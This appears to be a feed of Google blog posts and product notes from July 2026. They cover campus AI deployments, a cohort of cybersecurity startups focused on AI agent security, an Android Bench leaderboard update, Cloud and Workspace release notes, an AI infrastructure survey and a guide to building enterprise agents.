UC Riverside: UC Riverside implemented Gemini Enterprise for Education to provide a unified portal for agent experiences across its entire campus community of 25,000 students, faculty, and staff. For the personnel driving the university's mission, the focus is on augmentation. By using Google AI as a force multiplier, the ITS team is transforming how the university operates.
Purdue University: Purdue's broad AI strategy is centered on five core areas: learning with, learning about, researching, using, and partnering in AI. Google Cloud provides the flexible, AI-optimized tech stack needed to support this entire spectrum. Additionally, the platform, coupled with the creation of the new Google AI Hub space, is helping Purdue foster hands-on collaboration, automate campus operations, and advance AI-enabled education.

Build the agentic future with us

As higher education continues to evolve, agentic AI offers a path toward more resilient, efficient, and student-centered institutions. To explore how these capabilities are being evaluated across the sector and learn more about Google’s position as a Commander in the administrative efficiency category, download the report excerpt from The Tambellini Group.

Join us at the Higher Education Leader Series

We invite you to join fellow leaders and trailblazers at Google for Education’s Higher Education Leader Series to explore how technology and human-centric design come together to transform the university experience. We are hosting this event in Sunnyvale, CA, on July 16, and New York, NY, on July 30. Register here to secure your spot.

Meet the 33 cybersecurity startups joining the Gemini Startup Forum

2026-07-08T13:30:00+00:00

Startups are at the forefront of tackling some of the world’s most complex challenges, especially in cybersecurity, where new ideas and adaptability are always needed. These companies are embracing AI as a powerful tool, enabling them to scale their impact.

Google believes that enabling the next generation of AI-native cybersecurity startups will have a positive impact across the globe. Today, we are thrilled to announce that our flagship Google for Startups program, Gemini Startup Forum: Cybersecurity, has selected its first 33 trailblazing startups. This exclusive forum is designed to address critical domains and foster deep dialogue on AI integration in cybersecurity.

Every startup will be able to work on their roadmap alongside AI and cybersecurity specialists from Google DeepMind, Google Cloud, and Wiz. This year’s cohort is organized into six specialized focus areas, from autonomous agent protection to post-quantum cryptography.

AI agent security and governance

Capsule Security (Israel): Delivers runtime protection and behavioral monitoring for autonomous AI agents. The platform tracks agent activities, API calls, and tool usage in real-time to prevent unauthorized actions and data exfiltration across software-as-a-service (SaaS) and endpoint agents.
Evoke Security (United States): Functions as an endpoint detection and response (EDR) platform designed for AI agents. It deploys an endpoint sensor to scan for risky agent configurations, monitor runtime behavior, and block unauthorized skill executions.
Manifold Security (United States): Provides agentless detection and response for AI agents using graph analysis and runtime monitoring. By tapping into open telemetry and API hooks, the platform maps agent behavior and connections to identify anomalies without installing software on local machines.
Mirror Security (Ireland): Specializes in data-in-use protection for AI workloads using fully homomorphic encryption. The platform enables enterprises to perform model inference, database searches, and agent communications directly on encrypted data without decrypting it.
Onyx Security (Israel): Offers an AI control plane to discover, govern, and monitor autonomous AI agents across enterprise environments. The platform analyzes agent posture, tracks session token streams, and uses a model mesh to enforce context-aware compliance policies.
Refractal (United Kingdom): Builds runtime security and governance, risk, and compliance (GRC) infrastructure to monitor and govern enterprise AI agents. It intercepts agent actions, evaluates them against organizational policies and European regulations, and generates cryptographic audit logs.
Unbound Security (United States): Acts as an agent access security broker (AASB) that provides visibility and governance for developer-focused coding agents. It deploys endpoint hooks to monitor terminal commands and restricts agent actions based on user identity and group permissions.
XOR (United States): Produces reinforcement learning training data and environments to help AI models autonomously find and fix their own security flaws. The company provides verified task trajectories and benchmarks that developers use to train secure coding agents.

Application security and vulnerability management

Aisy (United Kingdom): Models enterprise environments from an attacker's perspective to prioritize vulnerability remediation. The platform maps external attack surfaces, groups related assets into business-centered threat models, and identifies critical exploit chains.
Alt Security (Israel): Develops an agentic penetration testing platform that uses autonomous AI agents to perform security testing. The system automates reconnaissance, chains vulnerability findings to identify critical business risks, and validates exploits in sandboxed environments.
Arcjet (United States): Provides application security that executes natively inside developer codebases via an SDK. The platform handles bot detection, rate limiting, and prompt injection directly in the codebase, maintaining a low-latency decision loop.
Pixee (United States): Automates vulnerability triage and code remediation by converting scanner results into verified pull requests. The platform uses a context graph and a deterministic harness to generate codebase-compatible fixes that pass developer continuous integration (CI) pipelines.

Cloud, network, and infrastructure security

CloudFence (United States): Monitors a company's cloud network like an invisible overhead drone. It studies the normal patterns of how systems talk to each other and immediately alerts managers if a system starts talking to an unfamiliar location.
CyberSeQ (United Kingdom): Scans software code and digital pipelines to check if their encryption is outdated. It helps organizations plan their transition to modern, quantum-proof security keys.
Huskeys (Israel): Works as a smart tuner for a company's digital firewall. It automatically optimizes and adapts traffic filters in real-time, reducing false alarms so legitimate customers can visit websites without being blocked.
Native (Israel): Serves as a multicloud security control plane that manages built-in native provider controls across Google Cloud, AWS, Azure, and Oracle. The platform uses a simulation engine to preview the operational impact of security policy changes before deployment.
Prowler (United States): Automates cloud security posture management and compliance checks across multicloud environments. The open-source platform uses a database of community-driven security controls to identify and remediate misconfigurations.
QIZ Security (Israel): Manages enterprise cryptographic assets and compliance posture through a centralized dashboard. The platform maps certificates, databases, and source code into a knowledge graph to help organizations transition to post-quantum cryptography.
Tracebit (United Kingdom): Uses cloud-native decoys, or canaries, to detect infrastructure intrusions and unauthorized access. The platform deploys these decoy resources at scale via infrastructure-as-code to trigger alerts the moment an attacker moves.

Endpoint security and data protection

Bold Security (United States): Provides a user-space endpoint security agent that protects enterprise devices from data exfiltration and insider threats. The agent runs local classification models on-device, allowing for policy enforcement and data loss prevention without cloud latency.
Glow (Israel): Unifies endpoint, software, and AI agent monitoring into a single workspace protection layer. By using a team of collaborative AI agents, the platform maps organization-wide software footprints and blocks unauthorized browser extensions and plugins.
Jazz (United States): Modernizes data loss prevention (DLP) by analyzing user intent and business context rather than relying on static pattern rules. It uses a lightweight endpoint agent and an intelligent investigator to automatically triage and resolve data-flow alerts.
ORION Security (United States): Deploys an indicator-driven data loss prevention platform that tracks data lineage across endpoints, browsers, and SaaS tools. By mapping file movements in a graph database, the platform identifies exfiltration risks without requiring manual policies.
MokN (France): Combats credential theft through a proactive identity recovery platform. Its proprietary technology turns the tables on attackers by using ultra-realistic decoy access points to trick them into revealing the credentials they have stolen. This can help neutralize threats before the compromised credentials can be exploited.

SOC automation and offensive security

COGNNA (Saudi Arabia): Operates an agentic security operations center (SOC) platform that analyzes security alerts and automates threat response workflows. The platform ingests telemetry from existing endpoint and security information and event management (SIEM) tools, using AI agents to investigate incidents and reduce alert noise.
Latent Defense (United States): Builds foundational world models for cybersecurity to represent complex system architectures as dense, multi-dimensional graphs. The platform uses these graph representations to identify exploitable attack paths and test them with automated red-teaming agents.
Mate Security (Israel): Investigates security alerts at scale using an AI-native security operations platform. It integrates with existing SIEM and security orchestration, automation, and response (SOAR) tools to map asset relationships, automatically triage incoming alerts, and minimize false-positive rates.
Nrdsnipe (Sweden): Builds an AI-driven security testing platform, Hedgehog, that automates internal network penetration testing. Deployed directly in customer networks, it uses planner and terminal agents to map assets and construct exposure-based knowledge graphs.
RIFFSEC (Poland): Delivers an early-warning threat intelligence and attack surface management platform tailored for the central European market. It monitors the dark web, Telegram channels, and code repositories to identify leaks, exposed credentials, and phishing campaigns.
TandemTrace (Spain): Augments security operations teams with autonomous AI agents that analyze raw telemetry to investigate alerts and hunt threats. The platform connects directly to existing data lakes and SIEM APIs to build human-readable context around security incidents.

Security infrastructure and specialized services

Netsec (France): Manages the entire IT and cybersecurity lifecycle for mid-sized organizations through an all-in-one platform delivered directly inside collaboration channels. It automates user onboarding, device management, and SaaS posture remediation from a single control plane.
Revelum (United States): Detects and dismantles deepfake-driven fraud and impersonation campaigns at scale. The platform uses vision models and classification engines to analyze social media advertisements, verify biometric identities, and automate domain takedowns.
Synqly (United States): Provides a unified connectivity platform and API management control plane that simplifies integrations between IT and cybersecurity tools. It normalizes data schemas and acts as a deterministic middleware layer to facilitate bidirectional data sharing.

By collaborating with global specialists, these startups are well-positioned to build a safer, more resilient digital infrastructure. The Gemini Startup Forum is a benefit of the Google for Startups Gemini Kit, packed with APIs, tools, training and technical resources to help startups scale with AI. You can learn more about the kit here.

The threat landscape is always evolving. To meet this challenge, we will continue our commitment to Google for Startups. Over the past four years, we’ve supported more than 50 cybersecurity founders, including Authologic, BforeAI, Build38, Cerby, Crowdsec, and Risk Ledger.

This year's cohort reflects the industry's transition from perimeter defense to autonomous AI agent security — emphasizing enterprise governance and the safe deployment of self-governing AI. Looking ahead, the integration of these technologies will help define the next generation of proactive digital defense.

Evolving how LLMs are measured for Android: the next era of Android Bench

2026-07-08T13:00:00+00:00

Posted by Zoe Lopez-Latorre, Senior Developer Relations Engineer, Android

Back in March, we introduced Android Bench—our LLM leaderboard for real-world Android development tasks. Our goal was to provide transparency around model capabilities in Android development and to encourage model improvements, to give you more helpful AI options for your everyday workflow. Since then, we have enhanced the benchmark based on your feedback, including evaluating open-weight models and adding cost and efficiency dimensions to the leaderboard.

But AI capabilities are ever-evolving, and measurement needs to follow suit. As part of our July release, we have adopted the Harbor framework, which includes an updated version of the benchmarking agent used to evaluate models.

Along with this change to our evaluation, in this July release we’re adding 8 new models (Claude Fable 5, Claude Sonnet 5, Claude Opus 4.8, GLM 5.2, Kimi K2.7 Code, MiniMax M3, Qwen 3.7 Plus and Qwen 3.7 Max) to the leaderboard. We’re also sharing opportunities for you, the Android developer community, to contribute to the benchmark.

Upgrading our methodology with the Harbor framework

When we designed Android Bench, we anchored our methodology on leading industry standards available at the time. We used mini-swe-agent v1, a general-purpose benchmarking agent, and adapted it to the nuances of Android development to provide a baseline measurement for the capabilities of models for common Android development tasks.

To continue providing you with state-of-the-art evaluations that accurately measure the latest model capabilities on Android development, we are standardizing our benchmark to the Harbor framework. Harbor defines standards and integrations that make it easy for anyone to run the benchmark, evaluate their preferred set-up, or share results – providing you with additional transparency and visibility.

This upgrade enables us to more rigorously evaluate models and their capabilities, and we re-ran the benchmark on all models to establish an updated baseline. This means there is a minor shift in scoring, but you will still be able to view historical scores within the archive on our website.

We want to ensure Android Bench is helpful for you, so we will continuously update it as our evaluations and the industry mature.

Expanding the leaderboard with 8 new models

As part of our commitment to keeping the leaderboard fresh, we have added Claude Fable 5, Claude Sonnet 5, Claude Opus 4.8, GLM 5.2, Kimi K2.7 Code, MiniMax M3, Qwen 3.7 Plus and Qwen 3.7 Max to the Android Bench leaderboard.

You will see that Claude Fable 5 is at the top of the leaderboard with a score of 84.5, followed by GPT 5.5 with 80.2, with Claude Sonnet 5 in 3rd with a score of 76.2.

When just comparing Open-weight models, GLM 5.2 is at the top with 72.2, followed by Kimi K2.7 Code with a score of 70.4.

You can check out model performance and efficiency metrics on the updated leaderboard to see how these new and previous models navigate Android-specific challenges like Jetpack Compose migrations, wearable networking, and platform API updates.

Opening Android Bench to community contributions

From the beginning, we’ve valued an open and transparent approach, which is why we made our original methodology and test harness publicly available on GitHub. You’ve asked for a way to provide feedback on our dataset, so now we’re taking collaboration a step further by giving you, the Android developer community, a chance to shape Android Bench.

Starting today, you can contribute to Android Bench in two ways:

Design and submit your own Android development tasks to evaluate how models handle the scenarios that matter to you.
Run and share benchmark evaluations firsthand, testing your preferred models against our dataset or your own custom tasks.

We will be reviewing the submitted tasks and will be assessing if they get added to the benchmark. We hope to build a benchmark that truly reflects the diverse, day-to-day realities of the global Android developer community.

Looking ahead

With more and more options for agentic development, maintaining a cutting-edge benchmark ensures that the AI assistance you rely on keeps getting smarter, more helpful, and more effective. Head over to our GitHub repository to check out the tasks. We invite you to submit a task to our team for review, and you can check out Harbor Hub to explore the dataset or submit evaluations.

As always, you can find the updated leaderboard, or read the methodology on our website.

We’re boosting agroforestry efforts to help the atmosphere and farmer livelihoods.

2026-07-08T13:00:00+00:00

Google is announcing a long-term agreement with Thryve.Earth for 260,000 tons of carbon removal.

A fresh look at Albania, Montenegro, North Macedonia and Serbia on Street View

2026-07-08T08:00:00+00:00

Street View imagery of Blue Eye (Albania), Kotor Town Walls (Montenegro), Skopje Fortress (North Macedonia), and Belgrade Fortress (Serbia)

Cloud Release Notes — July 08, 2026

2026-07-08T07:00:00+00:00

Cloud Run

Feature

Cloud Run sandboxes provide a fast and secure isolated environment to execute untrusted code, such as code generated by AI agents. For more information, see Configure sandboxes for services and Code execution in Cloud Run (Preview).

Gemini Enterprise Agent Platform

Feature

Memory Bank support for Gemini Embedding 2

Memory Bank supports the gemini-embedding-2 model for similarity search configurations.

When you configure gemini-embedding-2 as the embedding model, you must use one of the global, us, or eu endpoints in the model's resource name (for example, projects/{project}/locations/us/publishers/google/models/gemini-embedding-2). Memory Bank does not support using regional locations (for example, us-central1) for gemini-embedding-2.

For details, see Similarity search configuration.

Feature

Memory Bank IngestEvents is generally available (GA)

The Memory Bank IngestEvents API is generally available. The IngestEvents API decouples event ingestion from memory generation, letting you continuously stream content to Memory Bank and configure when memory generation is triggered.

This GA release includes the following features:

Carry over context between generation windows: Use the overlap_event_count parameter to re-include already-processed events at the start of the next window to keep memories coherent.
Configure memory revisions for ingested events: Use revision_labels, revision_ttl, or disable_memory_revisions to customize how generated revisions are managed.
Attach metadata to memories: Use the metadata and metadata_merge_strategy configuration parameters to store structured information alongside generated memories.

For details, see Ingest events.

Gemini CLI v0.50.0

2026-07-08T00:00:00+00:00

New calendar sharing permission level and changes to recurring event visibility

2026-07-07T18:08:42+00:00

Delegates assigned this restricted permission level will only be able to create, delete, and edit non-private events. Private events will appear to delegates as “busy” blocks on the calendar grid, and delegates will not be able to edit or reschedule them. In addition, private events won’t show up in any search results for delegates.

Changes to visibility for recurring events

We’re also introducing changes to the way visibility settings are applied to recurring events.

Users can no longer make changes to the visibility of a single event in a recurring series. Any changes to visibility will be applied to all events in the series.
Existing events in a recurring series will be updated to match the strictest visibility setting of any event in that series. In other words, if one event in the series is marked private but the others are not, all events in that series will be changed to private.

Getting started

Admins: There is no admin control for this feature.
End users: Users can grant delegates this new permission level in their Calendar settings. Visit the Help Center to learn more about sharing your calendar.

Rollout pace

Rapid and Scheduled Release domains: Extended rollout (potentially longer than 15 days for feature visibility) starting on July 7, 2026

Availability

Available to all Google Workspace customers, Workspace Individual subscribers, and users with personal Google accounts

Resources

Google Calendar Help: Share your calendar

How governments and organizations are leveraging Google’s AI breakthroughs for crisis resilience

2026-07-07T17:50:00+00:00

GiveDirectly Staff talking to a crowd of people

The power of collaboration: How we can reduce traffic congestion

2026-07-07T16:42:08+00:00

Algorithms & Theory

Fill with Gemini in Sheets now available in 11 additional languages

2026-07-07T16:25:56+00:00

Earlier this year, we announced Fill with Gemini in Google Sheets, a new AI-powered feature designed to make data preparation and manual entry even easier. Leveraging the capabilities of the AI function in Google Sheets, Fill with Gemini eliminates the need for complex formulas, helping you easily generate text, summarize information, categorize data, or analyze sentiment at scale with generated content appearing directly in the cells you choose.

Previously available in English, Spanish, Portuguese, Japanese, Korean, French, Italian, and German, both Fill with Gemini and the AI function are now expanding to users in Mandarin, Dutch, Malay, Hebrew, Polish, Turkish, Czech, Indonesian, Swedish, Danish, and Norwegian.

Getting started

Admins: Fill with Gemini is an entry point to the existing AI function. It will be hidden if the Smart features for Google Workspace setting is disabled. Visit the Help Center to learn more about managing Google Workspace smart features for your users.
End users: You must have Workspace smart features enabled to use Fill with Gemini. Users can trigger Fill with Gemini by dragging a selection or selecting empty cells to see the prompt menu. Visit the Help Center to learn more about filling columns with Gemini.

Rollout pace

Rapid Release and Scheduled Release domains: Gradual rollout (up to 15 days for feature visibility) starting on July 7, 2026

Availability

Business: Business Standard and Plus
Enterprise: Enterprise Standard and Plus
Consumer: Google AI Pro and Ultra
Education Add-ons: Google AI Pro for Education
AI Add-ons: AI Expanded Access*

*Starting July 15, 2026, users with AI Expanded Access licenses will have higher limits on usage of Fill with Gemini and the AI function in Sheets.

Resources

Google Docs Editors Help: Use the AI function in Google Sheets
Google Admin Help: Set smart features & controls on or off for users

Three new satellites join the fight against wildfires.

2026-07-07T16:15:00+00:00

Three new FireSat satellites have launched, expanding a network that uses Google AI to help fire agencies detect early-stage wildfires.

Zagraniczne destynacje i wakacje all inclusive: trendy podróżnicze 2026 w wyszukiwarce Google

2026-07-07T16:00:00+00:00

Trendy podróżnicze Polska

Report: 83% of organizations need to upgrade their infrastructure to support agentic AI

2026-07-07T16:00:00+00:00

For years, enterprise AI has been synonymous with conversational AI — the customer service bots and digital assistants we interact with every day. But today, the market has shifted. We’ve officially moved from moving from AI that answers through simple chats, to AI that takes action, automated workflows, and executes complex tasks on its own. While this unlocks entirely new use cases, there’s a catch: it places significant stress on the underlying infrastructure we’ve relied on in the past.

We recently surveyed more than 1,400 senior IT leaders for our State of AI Infrastructure report, and a resounding pattern emerged: the gap between AI ambition and infrastructure reality is widening. In fact, 83% of organizations say they require infrastructure upgrades to support production-grade agentic AI.

Why? Because yesterday’s infrastructure simply wasn't built for agents that act autonomously.

In this blog, we lay out the core insights from our research on how leading organizations are rethinking their infrastructure to build resilient, fluid foundations. For more details and depth, we encourage you to download and read the full report.

Escape the “inference tax” with fluid compute

Agentic workloads introduce a new level of scale, where a single prompt can trigger hundreds of downstream actions, requiring massive context windows to be held in memory. Trying to run these continuous reasoning loops on legacy architecture is financially unsustainable. In fact, 62% of leaders are seeing a significant inference tax driven by data egress fees, storage bloat, and idle specialized hardware. Furthermore, 81% cite operational complexity as a hidden cost of scaling AI.

To fix this, organizations need fluid compute — the ability to dynamically match the right silicon to the right task while minimizing operational overheads.

For heavy training: Compute accelerators like our new TPU 8t deliver tremendous scale to train the world's most sophisticated models.
For low-latency inference: The TPU 8i, meanwhile, was purpose-built to maximize on-chip memory, so agents can think and react in real-time.
For orchestration: General-purpose compute powered by CPUs is emerging as a critical component for driving AI control plane operations. Using highly efficient, Arm-based processors like Google Axion, organizations can cost-effectively run reinforcement learning simulations and orchestrate agents.

Managing agent sprawl with centralized governance

Agents are designed to act autonomously — reading emails, querying databases, and executing workflows across your business. But as agentic AI scales, organizations are facing a new challenge: agent sprawl. How do you manage thousands of autonomous agents scattered across diverse platforms, without losing visibility and control?

It’s no surprise that 79% of tech leaders cite security, governance, and MLOps as their top challenge to scaling inference. In the agentic era, you need a mature governance strategy before you can innovate. This entails creating a centralized control plane that provides a single system of record for agent permissions, identity, and workflows.

Instead of patching together disparate tools, leading enterprises are relying on solutions like Agent Gateway to enforce enterprise-grade governance. Agent Gateway gives you the visibility you need to see exactly how agents are sharing data. It lets you define precise read/write scopes and maintain full audit trails of every interaction, and it provides human-in-the-loop oversight for when an agent needs approval before taking a critical action. This drive for unified, straightforward governance explains why 78% of organizations now source their gen AI solutions directly from their primary cloud partner — a 30 point increase from 2025.

A unified data layer

Agents perform reasoning, meaning they constantly run heavy queries across your organization. If your data is fragmented across silos, your AI is effectively flying blind.

To move from managing disconnected data to gathering unique and actionable business context, leaders are adopting a unified data layer. Using tools like Smart Storage — which automatically annotates unstructured data to make it searchable — and the Cross-Cloud Lakehouse, agents can natively read and understand data no matter where it lives, without needing custom pipelines or duplicated data.

Hybrid multicloud and digital sovereignty

The debate between public cloud and local computing is settled: hybrid is the destination. In fact, 52% of organizations now use a hybrid multicloud architecture.

For technology leaders, this shift is largely driven by digital sovereignty and data gravity. Indeed, 48% of leaders are prioritizing infrastructure with strict data residency controls. You need the flexibility to run AI where it complies with shifting local laws. Whether that’s leveraging the public cloud for broad compute, or bringing foundational models entirely on-premises via Google Distributed Cloud for air-gapped isolation, modern infrastructure must adapt to geopolitical realities, not the other way around.

AI at the edge

For technology leaders and infrastructure architects, relying on a strictly centralized cloud topology to process every agentic interaction is not a viable strategy. A staggering 90% of organizations now rank edge deployment as important for AI initiatives, with 72% describing it as extremely or very important.

Moving AI to the edge solves three issues:

The latency bottleneck: Real-time agents — especially those that rely on voice, video, or financial trading algorithms — can't afford the microsecond gap of a round-trip to a distant data center.
Operational resilience: If an internet connection drops, business can't stop. Edge deployment ensures that agents running in manufacturing plants, retail stores, or hospitals can continue functioning autonomously.
Sustaining cost-efficiency: Running always-on, continuous reasoning in the cloud is expensive. By utilizing highly optimized models on edge devices (like smartphones, IoT devices, or local warehouse servers), organizations shift the compute burden locally, drastically cutting variable per-token costs.

Breaking through the energy wall

Energy consumption used to be a sustainability metric reserved for annual reports. Today, it plays a crucial operational role. 91% of leaders now factor power consumption into their hardware selection, with 61% rating it as a primary or significant factor.

For technology leaders, power consumption presents a three-fold barrier to growth:

Grid scarcity: You simply cannot buy more power in certain regions, heavily limiting how much compute infrastructure can be provisioned.
Regulatory compliance: Energy efficiency is now a strict legal prerequisite to operate. For example, in Germany, new data centers must achieve a Power Usage Effectiveness (PUE) of 1.2 or lower. And Ireland now mandates that large data centers provide 100% on-site dispatchable generation to match their grid draw.
Infrastructure economics: Inefficient power envelopes drastically inflate the Total Cost of Ownership (TCO) of AI deployments. Accommodating high-power hardware requires massive capital expenditure (CapEx) for advanced cooling architectures, specialized rack designs, and facility upgrades.

To address the energy wall, technology leaders must treat energy as a strategic asset. One of the focus areas for optimization must shift to performance-per-watt. This is why co-designed silicon is becoming so important. For example, our new TPU 8t delivers nearly three times the performance of the prior generation while being up to twice as energy-efficient.

Unified, AI-optimized infrastructure

Ultimately, you cannot solve the challenges of tomorrow’s agentic systems with yesterday’s architecture. When engineering teams are forced to manually integrate heterogeneous compute, storage, and networking layers, organizations incur high operational overhead just to ensure basic interoperability.

To innovate quickly and cost-effectively, technology leaders are therefore moving toward holistic, unified systems.

This is the philosophy behind Google Cloud’s AI Hypercomputer. It’s an architecture where every layer is co-designed and co-engineered to work together. The custom silicon (TPUs, GPUs, CPUs) isn't designed in a silo; it's engineered alongside the ultra-high-bandwidth networking (Virgo Network), the storage (Managed Lustre, Hyperdisk), and the software orchestration layer (GKE).

Bridging the digital and physical worlds

When you embrace this co-designed, holistic approach, the results go far. With this level of scalable, fluid intelligence operating at the edge, we're entering the era of physical AI. A new generation of autonomous robots can sense, simulate, and navigate the physical world, practicing tasks millions of times in digital twin simulations on Google Cloud before they ever set foot in the real world. From performing complex industrial inspections to capturing cinematic videography, AI is now solving tangible problems in the real world.

Your blueprint for agentic AI

Adapting your infrastructure to meet the demands that agentic applications place on your systems will help you move from pilot to production. The organizations set to thrive in 2026 are embracing a unified foundation that is cost-efficient, resilient at the edge, optimized for autonomous action — and governed by default.

Ready to start? Download the State of AI Infrastructure report to explore the data behind our findings, and discover how your peers are already building for success.

20 questions for the Agentic Enterprise (and how Agent Platform can help)

2026-07-07T16:00:00+00:00

If you’re an IT leader, you might be getting a lot of questions about how to build and deploy agents.

The pressure to move fast is intense, but the engineering reality is incredibly complex. Where do your teams even begin? How do you untangle a fragmented mess of disconnected tools? And as things grow, how do you ensure your agents don’t accidentally leak sensitive data, or burn through your token budget in an afternoon? It’s a lot to balance, and trying to establish a secure foundation for an entire organization can quickly feel overwhelming.

That’s why we built Gemini Enterprise Agent Platform. It gives your technical teams a unified destination to build, scale, govern, and optimize both customer-facing agents and the ones managing your internal operations. Agent Platform handles the underlying complexity so your teams can focus on driving actual business value.

To help you navigate these conversations, we gathered 20 essential questions to ask your engineering teams, along with some practical advice and code examples to get you going. Let’s dive in.

The build phase — establishing the foundation

#0 Who is building the application?
Before choosing a tool, look at who on your team is actually doing the work. Is it your engineer? Your legal team? Building with AI is no longer exclusive to high-code engineers. Anyone can vibe code now. This incredible accessibility has turned millions of non-coders into creators who can build and launch applications in seconds. So it means your work could be coming from anywhere. This may sound like an obvious step, but it’s an important one in the AI era.

The ecosystem now spans a spectrum of personas: no-code business experts defining logic via visual interfaces (think: your business teams, sales, and marketing), low-code developers assembling modular parts, and high-code engineers creating bespoke, custom reasoning loops. Successful adoption means choosing a platform that empowers all three personas without siloing your data or security.

#1 Where should my developers start?
When setting up an agentic strategy, it's easy to focus exclusively on the end product, like the agents that will handle customer support or financial analysis. But to build those sophisticated agents, you have to start by empowering the builders who write their underlying logic. Your developers need their own specialized AI tools, like coding agents, to accelerate code generation, scaffolding, and integration.

However, most coding agents are isolated. They can only analyze the immediate file they are working on, with no connection to your live databases, internal documentation, tech stack, or business systems.

To keep your devs moving quickly without sacrificing governance, we recommend using Google Antigravity as your primary engineering harness, and then integrating specific extensions based on what that team is building. Here’s a helpful breakdown:

For core application engineers: Use the upgraded Agent Development Kit (ADK) as your baseline framework, paired with Agents CLI to handle the entire agent lifecycle from the terminal.
For data engineers: Plug in the Google Cloud Data Agent Kit, which provides dedicated skills and Model Context Protocol (MCP) tools tailored for data pipelines.
For Google Cloud ecosystems: Deploy Agent Skills to give your coding environment native capabilities across Google products.
For integrated IDE experiences: Connect the Developer Knowledge Base via MCP to stream official documentation directly into your teams' workflows.

#2 Who are we building for? Humans, or other agents?
Like #1, this might sound like a straightforward question, but you'll want to decide early on if you're building an AI agent for your employees to talk to directly, or if it's meant to coordinate with other agents behind the scenes. Your design requirements will look completely different depending on who — or what — is interacting with the system, so keeping everything under your team's control starts with knowing exactly who you're building for.

If your answer is humans (building for employees or customers), focus on user experience. You can host and share these tools in a single place like the Gemini Enterprise app, or use the Agent-to-User Interface (A2UI) framework to drop interactive components directly into your custom apps.

If your answer is agents (and you’re building agents meant to talk to other agents), focus on interoperability. By adopting the open Agent2Agent (A2A) protocol, an open standard for seamless communication and collaboration between AI agents, your agents can use standardized metadata to discover each other, pass context, and securely delegate background work across completely different enterprise frameworks.

See question #14 for more on user and agent identity.

#3 Which agent development tool should I use?
With so many frameworks available, it’s easy for engineering teams to default to fragmented, homegrown setups. To simplify this, we look at agent development as a four-rung ladder, which allows teams to slide between out-of-the-box configuration and code-first control:

Rung 1: Agent Studio (low-code): A visual workspace inside Agent Platform for rapid prototyping and business teams. Build an agent with Agent Studio here.
Rung 2: Managed Agents API (Agent-as-a-Service): For technical teams who want to define agent behavior via API and let Google handle the infrastructure inside a secure sandbox. Build a custom agent with Managed Agents API here.
Rung 3: Antigravity 2.0: A dedicated workspace for developers leveraging AI for advanced coding tasks and engineering pipelines. Build with Antigravity here.
Rung 4: Agent Development Kit (ADK 2.0): An engineering-first, code-first framework for software engineers building highly custom, multi-agent networks from scratch. Build a sample agent with ADK here.

#4 Should I start with one agent or many, and how do I specialize them?
Always advocate for your teams to start with a single, highly specialized agent for initial prototyping. If an agent tries to do everything, a few things might happen: accuracy drops, latency spikes, and debugging becomes a nightmare. To avoid this, write tight instructions and limit the tools it can access.

As your workflows grow more complex – or if you hit model context limits – have your engineers graduate to a multi-agent system. At its core, a multi-agent system is a collection of individual, autonomous agents that collaborate to achieve a goal. Using a framework like ADK, they can organize agents into a network of sub-agents where a coordinator delegates specific tasks to specialized team members, maintaining clear organizational logic.

Example: Build a sample multi-agent solution with ADK here.

The scale phase - connectivity and interoperability

#5 How do we connect enterprise data and maintain the right business context?
Your agents need access to the right data to be truly useful. This is where “enterprise truth” comes in – it's what we call your enterprise’s specific data, tools, constraints, policies, and processes that the agent needs to be successful.

While there are several ways to accomplish this, the emerging practice is using open standards like Model Context Protocol (MCP) to connect your agents directly to live databases and business apps. However, simply establishing connectivity isn’t enough. To help your agents work accurately and avoid hallucinations, you must also organize this data with clear business context, metadata, and logic. This structured approach ensures your agents don’t just pull raw information, but actually interpret it correctly to and make better decisions across your organization

Example: Build a sample multi-agent solution with ADK and MCP Toolbox (Managed Server).

#6 How do we connect agents built on completely different frameworks?
In a large organization, different teams will naturally build agents using the tools that best fit their specific needs, whether that's LangGraph, a homegrown framework, or something else entirely. However, if these systems can’t communicate, you end up with isolated data and workflow silos.

Establishing a universal communication standard allows agents developed on completely different platforms or frameworks to exchange intents, state, and results without specialized integration work.

For cross-framework connectivity (e.g., connecting a LangGraph-based HR agent to an ADK-based CRM agent ), you can implement the A2A protocol. This allows a microservices-style communication pattern across multiple distinct agents, ensuring they can securely talk to each other.

Example: Build a sample multi-agent solution with ADK and A2A.

#7 How do we help agents find the specific tools they need?
Stuffing an agent's context window with multiple tools and APIs degrades performance, increases latency, and drives up token costs. Just as we use RAG to dynamically fetch data on demand, we must apply the same dynamic retrieval strategy to agent tooling.

By utilizing focused agentic Skills, agents load capabilities only when a task requires them. Instead of parsing a massive library of generic instructions, the agent pulls from a single, task-specific index card—ensuring precise, tightly controlled execution.

Example: Build a multi-agent orchestration pattern with ADK and Skills

#8 How do we deploy our agents so they can easily scale?
This is the million-dollar question — or, perhaps more accurately, the "tokens-per-minute" question. The key isn't just about choosing the cheapest option, but about finding the right recipe of tools and services that aligns with your workload patterns.

To scale your agents without racking up massive infrastructure overhead, your teams should deploy agents within a fully managed, serverless execution environment. Agent Runtime is a set of services that enables developers to deploy, manage, and scale AI agents in production. Agent Runtime handles the infrastructure to scale agents in production so you can focus on creating applications.

A production-ready runtime must offer elastic auto-scaling to handle sudden usage spikes, containerized flexibility to bundle custom software dependencies, and native support for bidirectional streaming to ensure low-latency, real-time interactions. The architecture must also integrate built-in private networking interfaces to securely connect to internal enterprise data without public internet exposure.

Example: Build a multi-agent orchestration pattern with Agent Runtime

#9 What if our agents lose track of context during long-running tasks?
To help your AI agents work more effectively, you can give them both short-term and long-term memory. This means using real-time session state to keep immediate conversations going, and a long-term storage layer to remember user preferences and past interactions — all while keeping your agents safely under your team's control.

Agent Platform handles this across two layers. In ADK, a sessionService handles the immediate steps of a multi-stage task, while Agent Memory Bank acts as a persistent, long-term storage layer to recall past user preferences and project outcomes over time.

Example: Build a multi-agent orchestration pattern with Agent Memory Bank and ADK memory

The optimize phase — trust and efficiency

#10 How do we limit the blast radius for an agent running scripts or using a browser?
If your agents need to run Python, execute scripts, or browse the web to gather data, they shouldn’t do it directly on your network. Running these tasks in a temporary, isolated sandbox environment makes it easy to isolate any untrusted code or runtime logic errors, keeping them completely separate from your core enterprise systems.

Plus, using our agent runtime with a built-in sandbox helps protect your primary infrastructure and lets your agents safely execute tool calls under your team's full control.

Example: Build a multi-agent orchestration pattern with Agent Sandbox

#11 How do I ensure my agent stays on-brand?
An agent represents your corporate identity. While defining system prompts with clear constraints is a starting point, relying on prompts alone is insufficient (and risky) for production security. You need a mandatory safety layer that enforces core corporate rules and tone constraints, making sure the agent remains bounded regardless of the model's inherent probabilistic nature.

